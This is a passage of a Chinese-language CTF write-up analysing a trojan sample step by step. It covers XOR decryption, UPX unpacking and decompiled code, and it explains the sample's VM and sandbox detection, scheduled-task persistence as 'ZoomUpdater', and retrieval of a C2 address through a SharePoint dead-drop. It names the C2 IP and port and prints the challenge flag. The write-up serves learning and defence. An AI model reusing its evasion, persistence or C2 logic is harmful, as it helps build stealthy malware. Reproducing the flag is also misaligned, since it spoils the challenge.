1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 def decrypt_payload (): try : with open ("zRC.dat" , "rb" ) as f: data = bytearray (f.read()) except FileNotFoundError: print ("错误:找不到 zRC.dat 文件,请确认文件路径。" ) return key_str = "tf7*TV&8un" key_len = 9 print (f"[*] 开始解密,文件大小: {len (data)} 字节" ) print (f"[*] 使用密钥: {key_str[:key_len]} " ) for i in range (len (data)): data[i] ^= ord (key_str[i % key_len]) output_filename = "zRC_decrypted.bin" with open (output_filename, "wb" ) as f: f.write(data) print (f"[+] 解密完成!已保存为: {output_filename} " ) if data[:2 ] == b'MZ' : print ("[+] 文件头检测: MZ (这是一个 PE 文件)" ) else : print (f"[-] 文件头检测: {data[:2 ]} (可能不是 PE 文件,或者是 Shellcode)" ) if __name__ == "__main__" : decrypt_payload()
Stage III「升」 脱壳 zRC_decrypted.bin 使用 Detect It Easy 打开 zRC_decrypted.bin,发现其使用了 UPX 加壳。
使用 Detect It Easy 发现 UPX 加壳
该壳未经过修改,因此直接使用 UPX 脱壳即可。
1 2 3 4 5 6 7 8 9 10 PS S:\ISCTF_2025\Virus_Analysis\ISCTF> D:\upx-5.0.2-win64\upx.exe -d .\zRC_decrypted.bin Ultimate Packer for eXecutables Copyright (C) 1996 - 2025 UPX 5.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jul 20th 2025 File size Ratio Format Name -------------------- ------ ----------- ----------- 173056 <- 80384 46.45% win32/pe zRC_decrypted.bin Unpacked 1 file.
寻找主函数和网络相关函数 从 start 函数开始,尝试查找主函数。
从 start 函数开始查找主函数
1 2 3 4 5 int start () { sub_406FB2(); return sub_4067E7(); }
其中 sub_406FB2 仍然为 Stack Canary 代码。继续分析 sub_4067E7。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 int __usercall sub_4067E7@<eax>(UINT uExitCode_1@<esi>){ char v1; _DWORD *v3; _DWORD *v4; _DWORD *v5; _DWORD *v6; int v7; int v8; _DWORD *v9; char v10; UINT uExitCode; if ( !(unsigned __int8)sub_406509(1 ) || (v1 = 0 , v10 = sub_4064D7(), n2 == 1 ) ) { sub_406D55(7 ); goto LABEL_19; } if ( n2 ) { v1 = 1 ; } else { n2 = 1 ; if ( sub_40DDE1(&unk_41C1E0, &unk_41C200) ) return 255 ; sub_40DDB6(&unk_41C1BC, &unk_41C1DC); n2 = 2 ; } sub_406660(v10); v3 = (_DWORD *)sub_407062(); v4 = v3; if ( *v3 && (unsigned __int8)sub_4065C9(v3) ) ((void (__thiscall *)(_DWORD, _DWORD, int , _DWORD))*v4)(*v4, 0 , 2 , 0 ); v5 = (_DWORD *)sub_407068(); v6 = v5; if ( *v5 && (unsigned __int8)sub_4065C9(v5) ) sub_40D266(*v6); v7 = sub_40D854(); v8 = *(_DWORD *)sub_40DE6B(); v9 = (_DWORD *)sub_40DE65(); uExitCode_1 = sub_402B60(*v9, v8, v7); if ( !(unsigned __int8)sub_406E6F() ) { LABEL_19: sub_40D28C(uExitCode_1); sub_40D250(uExitCode); __debugbreak(); } if ( !v1 ) sub_40D241(); sub_40667D(1 , 0 ); return uExitCode_1; }
注意到最终返回的 uExitCode_1 由
1 uExitCode_1 = sub_402B60(*v9, v8, v7);
产生,我们断言 sub_402B60 为主函数。双击以跟踪。
最终可以找到 sub_402B60 为主函数,它在最后调用了 sub_402450 进行进一步操作。下面进行分析。
sub_402B60 函数原文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 int sub_402B60 () { int v6; ULONGLONG TickCount64; ULONGLONG v8; bool v9; ULONGLONG n0x1388; SHELLEXECUTEINFOW SystemInfo; SHELLEXECUTEINFOW pExecInfo; HKEY phkResult; _MEMORYSTATUSEX Buffer; DWORD cbData[3 ]; char v18; WCHAR Data[260 ]; _OWORD v20[4 ]; __int16 v21; _BYTE v22[938 ]; _EAX = 0 ; __asm { cpuid } cbData[0 ] = _EBX; cbData[1 ] = _EDX; cbData[2 ] = _ECX; v18 = 0 ; if ( sub_407730(cbData, "VMware" ) || sub_407730(cbData, "VBox" ) || sub_407730(cbData, "KVM" ) || sub_407730(cbData, "Microsoft Hv" ) || sub_407730(cbData, "Xen" ) ) { return 0 ; } cbData[0 ] = 256 ; if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS" , 0 , 0x20019u , &phkResult) ) { if ( !RegQueryValueExA(phkResult, "SystemProductName" , 0 , 0 , (LPBYTE)Data, cbData) && (sub_407730(Data, "Virtual" ) || sub_407730(Data, "VMware" ) || sub_407730(Data, "VBox" ) || sub_407730(Data, "Hyper-V" ) || sub_407730(Data, "Cloud" )) ) { v6 = 0 ; goto LABEL_19; } RegCloseKey(phkResult); } v6 = 1 ; LABEL_19: if ( v6 ) { Buffer.dwLength = 64 ; GlobalMemoryStatusEx(&Buffer); if ( HIDWORD(Buffer.ullTotalPhys) >= 2 ) { GetSystemInfo((LPSYSTEM_INFO)&SystemInfo); if ( SystemInfo.lpParameters >= (LPCWSTR)4 ) { TickCount64 = GetTickCount64(); cbData[0 ] = HIDWORD(TickCount64); Sleep(0x1388u ); v8 = GetTickCount64(); v9 = v8 < __PAIR64__(cbData[0 ], TickCount64); n0x1388 = v8 - __PAIR64__(cbData[0 ], TickCount64); if ( HIDWORD(n0x1388) || !v9 && (unsigned int )n0x1388 >= 0x1388 ) { SystemInfo.cbSize = 60 ; SystemInfo.fMask = 64 ; SystemInfo.hwnd = 0 ; SystemInfo.lpVerb = L"open" ; SystemInfo.lpFile = L"schtasks" ; SystemInfo.lpParameters = L"/query /tn ZoomUpdater" ; memset (&SystemInfo.lpDirectory, 0 , 36 ); phkResult = 0 ; if ( ShellExecuteExW(&SystemInfo) && SystemInfo.hProcess ) { WaitForSingleObject(SystemInfo.hProcess, 0xFFFFFFFF ); GetExitCodeProcess(SystemInfo.hProcess, (LPDWORD)&phkResult); CloseHandle(SystemInfo.hProcess); } if ( phkResult ) { SHGetFolderPathW(0 , 42 , 0 , 0 , Data); sub_40AEF0(Data, 260 , L"\\ZoomRemoteControl\\bin\\ZoomRemoteControl.exe" ); v21 = 0 ; v20[0 ] = xmmword_4258D8; v20[1 ] = xmmword_4258E8; v20[2 ] = xmmword_4258F8; v20[3 ] = xmmword_425908; sub_407F20(v22, 0 , 934 ); LODWORD(Buffer.ullAvailExtendedVirtual) = 77 ; *(_OWORD *)&Buffer.dwLength = xmmword_42591C; *(_OWORD *)&Buffer.ullAvailPhys = xmmword_42592C; *(_OWORD *)&Buffer.ullAvailPageFile = xmmword_42593C; Buffer.ullAvailVirtual = 0x45005400530059L L; sub_40AEF0(v20, 500 , Data); sub_40AEF0(v20, 500 , &Buffer); pExecInfo.cbSize = 60 ; pExecInfo.lpParameters = (LPCWSTR)v20; pExecInfo.fMask = 64 ; pExecInfo.hwnd = 0 ; pExecInfo.lpVerb = L"open" ; pExecInfo.lpFile = L"schtasks" ; memset (&pExecInfo.lpDirectory, 0 , 36 ); ShellExecuteExW(&pExecInfo); } sub_402450(); } } } } return 0 ; }
sub_402450 函数原文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 int __usercall sub_402450@<eax>(int a1@<ebp>){ void *hRequest; BOOL v2; char *lpBuffer; unsigned int v4; __int128 *v5; char *v6; int v7; unsigned int i; _DWORD *v9; _BYTE *v10; unsigned int v11; _BYTE *v12; void *v13; unsigned int n0xF_5; void *v15; int v16; _DWORD *hSession_1; _DWORD *v18; int s; const CHAR *pszAddrString; void *v21; unsigned int v22; _BYTE *v23; void *v24; const char *buf; void *buf_2; _BYTE *v28; unsigned int n0xF_2; _BYTE *v30; unsigned int n0xF_1; __int128 v32; int v33; unsigned int n0xF_4; __int128 v35; int v36; unsigned int n0xF_3; int v38; void *hRequest_1; char *lpBuffer_1; HINTERNET hConnect; _DWORD *hSession; DWORD lpdwNumberOfBytesAvailable_; struct WSAData lpWSAData_ ; struct sockaddr name_ ; _DWORD v46[5 ]; unsigned int n0xF_6; _DWORD *v48; unsigned int v49; unsigned int n0xF; DWORD lpdwNumberOfBytesRead_; __int128 v52; int v53; unsigned int n15; __int128 buf_1; int len; unsigned int n0xF_7; __int64 v58; int v59; int *v60; struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList ; void *v62; int v63; int v64; void *v65; int v66; void *retaddr; v64 = a1; v65 = retaddr; v63 = -1 ; v62 = &loc_41B9C4; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; v60 = &v66; hSession = WinHttpOpen( L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/" "537.36 Edg/142.0.0.0" , 0 , 0 , 0 , 0 ); hConnect = WinHttpConnect(hSession, L"colonised-my.sharepoint.com" , 0x1BBu , 0 ); hRequest = WinHttpOpenRequest( hConnect, L"GET" , L"/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk" "4L-x0r8yGztFlye2j9Q" , 0 , 0 , 0 , 0x800000u ); hRequest_1 = hRequest; v2 = WinHttpSendRequest(hRequest, 0 , 0 , 0 , 0 , 0 , 0 ); if ( v2 ) v2 = WinHttpReceiveResponse(hRequest, 0 ); v53 = 0 ; v52 = 0 ; n15 = 15 ; LOBYTE(v52) = 0 ; v63 = 0 ; if ( v2 ) { lpdwNumberOfBytesAvailable_ = 0 ; do { WinHttpQueryDataAvailable(hRequest, &lpdwNumberOfBytesAvailable_); if ( !lpdwNumberOfBytesAvailable_ ) break ; lpBuffer = (char *)sub_4066F6(lpdwNumberOfBytesAvailable_ + 1 ); lpBuffer_1 = lpBuffer; sub_407F20(lpBuffer, 0 , lpdwNumberOfBytesAvailable_ + 1 ); lpdwNumberOfBytesRead_ = 0 ; if ( WinHttpReadData(hRequest, lpBuffer, lpdwNumberOfBytesAvailable_, &lpdwNumberOfBytesRead_) ) { v4 = strlen (lpBuffer); if ( v4 > n15 - v53 ) { LOBYTE(v38) = 0 ; sub_404BF0(v4, v38, lpBuffer, v4); } else { v5 = &v52; if ( n15 > 0xF ) v5 = (__int128 *)v52; v6 = (char *)v5 + v53; v53 += v4; sub_4079A0(v6, lpBuffer_1, v4); v6[v4] = 0 ; lpBuffer = lpBuffer_1; } hRequest = hRequest_1; } sub_406260(lpBuffer); } while ( lpdwNumberOfBytesAvailable_ ); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); v33 = 0 ; n0xF_4 = 0 ; v32 = 0 ; sub_4046D0("lD1bZ0" , 6 ); LOBYTE(v63) = 1 ; v36 = 0 ; v35 = 0 ; n0xF_3 = 0 ; sub_4046D0("E9dE7d" , 6 ); LOBYTE(v63) = 2 ; sub_402080(&v35, &v32); LOBYTE(v63) = 3 ; v7 = sub_401D80(); LOBYTE(v63) = 4 ; sub_403280(v7); for ( i = 0 ; i < v49; ++i ) { v9 = &v48; if ( n0xF > 0xF ) v9 = v48; *((_BYTE *)v9 + i) ^= 1u ; } LOBYTE(v63) = 6 ; if ( n0xF_1 > 0xF ) { v10 = v30; if ( n0xF_1 + 1 >= 0x1000 ) { v10 = (_BYTE *)*((_DWORD *)v30 - 1 ); v11 = n0xF_1 + 36 ; if ( (unsigned int )(v30 - v10 - 4 ) > 0x1F ) goto LABEL_71; } sub_4066E8(v10); } LOBYTE(v63) = 7 ; if ( n0xF_2 > 0xF ) { v12 = v28; if ( n0xF_2 + 1 >= 0x1000 ) { v12 = (_BYTE *)*((_DWORD *)v28 - 1 ); v11 = n0xF_2 + 36 ; if ( (unsigned int )(v28 - v12 - 4 ) > 0x1F ) goto LABEL_71; } sub_4066E8(v12); } LOBYTE(v63) = 8 ; if ( n0xF_3 > 0xF ) { v13 = (void *)v35; if ( n0xF_3 + 1 >= 0x1000 ) { v13 = *(void **)(v35 - 4 ); v11 = n0xF_3 + 36 ; if ( (unsigned int )(v35 - (_DWORD)v13 - 4 ) > 0x1F ) goto LABEL_71; } sub_4066E8(v13); } v36 = 0 ; n0xF_3 = 15 ; LOBYTE(v35) = 0 ; LOBYTE(v63) = 9 ; n0xF_5 = n0xF_4; if ( n0xF_4 <= 0xF ) goto LABEL_34; v15 = (void *)v32; if ( n0xF_4 + 1 >= 0x1000 ) { v15 = *(void **)(v32 - 4 ); v11 = n0xF_4 + 36 ; if ( (unsigned int )(v32 - (_DWORD)v15 - 4 ) > 0x1F ) { LABEL_71: sub_40AEAF(v11, 0 , 0 , 0 , 0 , 0 ); goto LABEL_72; } } sub_4066E8(v15); LABEL_34: v33 = 0 ; n0xF_4 = 15 ; LOBYTE(v32) = 0 ; v58 = 0 ; v59 = 0 ; sub_4021D0(n0xF_5); LOBYTE(v63) = 10 ; if ( (unsigned int )(HIDWORD(v58) - v58 - 48 ) >= 0x18 ) { v16 = 1 ; goto LABEL_54; } sub_403280(v58); LOBYTE(v63) = 11 ; hSession_1 = (_DWORD *)(v58 + 24 ); v18 = (_DWORD *)sub_40B29E(); if ( hSession_1[5 ] > 0xFu ) hSession_1 = (_DWORD *)*hSession_1; *v18 = 0 ; hConnect = (HINTERNET)sub_40BC9D(hSession_1, &hSession, 10 ); if ( hSession_1 == hSession ) LABEL_72: sub_40581D("invalid stoi argument" ); if ( *v18 == 34 ) sub_40585D("stoi argument out of range" ); if ( WSAStartup(0x202u , &lpWSAData_) >= 0 ) { s = socket(2 , 1 , 0 ); if ( s >= 0 ) { name_ = 0 ; name_.sa_family = 2 ; *(_WORD *)name_.sa_data = htons((u_short)hConnect); pszAddrString = (const CHAR *)v46; if ( n0xF_6 > 0xF ) pszAddrString = (const CHAR *)v46[0 ]; if ( inet_pton(2 , pszAddrString, &name_.sa_data[2 ]) > 0 ) { if ( connect(s, &name_, 16 ) >= 0 ) { len = 0 ; n0xF_7 = 0 ; buf_1 = 0 ; sub_4046D0("get_cmd" , 7 ); buf = (const char *)&buf_1; if ( n0xF_7 > 0xF ) buf = (const char *)buf_1; send(s, buf, len, 0 ); closesocket(s); WSACleanup(); v16 = 0 ; if ( n0xF_7 > 0xF ) { buf_2 = (void *)buf_1; if ( n0xF_7 + 1 >= 0x1000 ) { buf_2 = *(void **)(buf_1 - 4 ); v22 = n0xF_7 + 36 ; if ( (unsigned int )(buf_1 - (_DWORD)buf_2 - 4 ) > 0x1F ) goto LABEL_74; } sub_4066E8(buf_2); } len = 0 ; n0xF_7 = 15 ; LOBYTE(buf_1) = 0 ; goto LABEL_49; } closesocket(s); } WSACleanup(); } } v16 = 1 ; LABEL_49: if ( n0xF_6 > 0xF ) { v21 = (void *)v46[0 ]; if ( n0xF_6 + 1 >= 0x1000 ) { v21 = *(void **)(v46[0 ] - 4 ); v22 = n0xF_6 + 36 ; if ( (unsigned int )(v46[0 ] - (_DWORD)v21 - 4 ) > 0x1F ) goto LABEL_74; } sub_4066E8(v21); } v46[4 ] = 0 ; n0xF_6 = 15 ; LOBYTE(v46[0 ]) = 0 ; LABEL_54: sub_403180(&v58); if ( n0xF > 0xF ) { v23 = v48; if ( n0xF + 1 >= 0x1000 ) { v23 = (_BYTE *)*(v48 - 1 ); v22 = n0xF + 36 ; if ( (unsigned int )((char *)v48 - v23 - 4 ) > 0x1F ) goto LABEL_74; } sub_4066E8(v23); } v49 = 0 ; n0xF = 15 ; LOBYTE(v48) = 0 ; if ( n15 > 0xF ) { v24 = (void *)v52; if ( n15 + 1 < 0x1000 || (v24 = *(void **)(v52 - 4 ), v22 = n15 + 36 , (unsigned int )(v52 - (_DWORD)v24 - 4 ) <= 0x1F ) ) { sub_4066E8(v24); return v16; } LABEL_74: sub_40AEAF(v22, 0 , 0 , 0 , 0 , 0 ); JUMPOUT(0x402B4C ); } return v16; }
Action 1「窥伺」 sub_402B60 是典型的 沙箱/虚拟机检测 和 持久化安装 的函数。首先,它进行了 虚拟机/沙箱检测 ,其中包括:CPUID 虚拟机检测和注册表虚拟化检测 。
1 2 3 4 5 6 7 8 9 __asm { cpuid } if (contains(cpuid_string, "VMware" ) || contains(cpuid_string, "VBox" ) || contains(cpuid_string, "KVM" ) || contains(cpuid_string, "Microsoft Hv" ) || contains(cpuid_string, "Xen" )) { return 0 ; }
1 2 3 4 5 6 7 8 9 10 RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS" , ...) RegQueryValueExA(..., "SystemProductName" , ...) if (contains(product_name, "Virtual" ) || contains(product_name, "VMware" ) || contains(product_name, "VBox" ) || contains(product_name, "Hyper-V" ) || contains(product_name, "Cloud" )) { return 0 ; }
其次,它进行了 系统资源检查 ,包括:内存检查、CPU 核心数检查和时间延迟检查 。
1 2 3 4 5 GlobalMemoryStatusEx(&Buffer); if (HIDWORD(Buffer.ullTotalPhys) >= 2 ) { }
1 2 3 4 GetSystemInfo(&SystemInfo); if (SystemInfo.lpParameters >= (LPCWSTR)4 ) { }
1 2 3 4 5 TickCount64 = GetTickCount64(); Sleep(5000 ); v8 = GetTickCount64();
最终,它检测自身是否已感染计算机:
1 2 3 4 ShellExecuteExW(&SystemInfo); SystemInfo.lpFile = L"schtasks" ; SystemInfo.lpParameters = L"/query /tn ZoomUpdater" ;
若无,则进行 持久化机制 :构造恶意软件路径后,构建计划任务的 XML 命令,并创建计划任务。
1 2 3 SHGetFolderPathW(0 , 42 , 0 , 0 , Data); sub_40AEF0(Data, 260 , L"\\ZoomRemoteControl\\bin\\ZoomRemoteControl.exe" );
1 2 3 4 5 6 v20[0 ] = xmmword_4258D8; v20[1 ] = xmmword_4258E8; sub_40AEF0(v20, 500 , Data); sub_40AEF0(v20, 500 , &Buffer);
1 2 3 pExecInfo.lpFile = L"schtasks" ; pExecInfo.lpParameters = (LPCWSTR)v20; ShellExecuteExW(&pExecInfo);
Action 2「初探」 进入到 sub_402450 后,该函数完美展示了木马的 C2 通信逻辑 。
1 2 3 4 5 6 7 hSession = WinHttpOpen(L"Mozilla/5.0 ..." , ...); hConnect = WinHttpConnect(hSession, L"colonised-my.sharepoint.com" , 0x1BBu , 0 ); hRequest = WinHttpOpenRequest( hConnect, L"GET" , L"/personal/f00001111_colonised_onmicrosoft_com/_layouts/52/download.aspx?share=EQsrTSD_4ehGvYTXbmU5zR0B0lk4L-x0r8yGztFlye2j9Q" , ...);
首先,程序先去访问了一个 SharePoint 共享链接以获得 真正的 C2 地址 。将地址藏在合法的公共服务上,是为了规避防火墙。
1 2 3 4 5 6 7 8 9 10 WinHttpReadData(hRequest, lpBuffer, ...); sub_4046D0("lD1bZ0" , 6 ); sub_4046D0("E9dE7d" , 6 ); for ( i = 0 ; i < v49; ++i ) { *((_BYTE *)v9 + i) ^= 1u ; }
随后,程序下载了该文件,提取出两个字符串中间的数据,并对数据进行 XOR 1,得到了 真正的 C2 地址 。
Action 3「回归」 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 hSession_1 = (_DWORD *)(v58 + 24 ); hConnect = (HINTERNET)sub_40BC9D(hSession_1, &hSession, 10 ); pszAddrString = (const CHAR *)v46; inet_pton(2 , pszAddrString, ...); connect(s, &name_, 16 ); ... if ( connect(s, &name_, 16 ) >= 0 ){ sub_4046D0("get_cmd" , 7 ); buf = (const char *)&buf_1; send(s, buf, len, 0 ); }
接着,程序建立 socket 连接,并发送了一个字符串 get_cmd。我们可以进行异或运算得到 IP 地址和端口,但零音尝试多次 XOR 后仍无法得到有效的 IP 地址字符串,怀疑程序可能进行了其他变换,零音未能成功探究。最后,零音选择使用工具「火绒剑」抓包。得到最终的 C2 地址为 47.252.28.78:37204。
Stage IV「获」 访问该地址即可得到 flag。
1 ISCTF{Wow!_Y0u_F0uNd_C2_AdDr3sssss!}
结语 至此,我们完成了对整个 APT 攻击链的完整复盘,成功捕获了最终的 flag。
本次逆向分析对零音而言是 全新的知识 :MSI Transform 的障眼法即为零音首次听说的反侦查手段,而对 .dll 文件的逆向方法,亦是在本次题目中才初次学习。本次逆向中,零音亦学习到了一些 分析问题的方法 ,例如,对于实在无法剖析清楚的部分,如 Stage III 的 Action 3 中对 C2 地址的 XOR 解密,可以采取动态分析的方法,灵活而巧妙地得到答案。
感谢 Gemini 和 DeepSeek 在逆向过程中的帮助。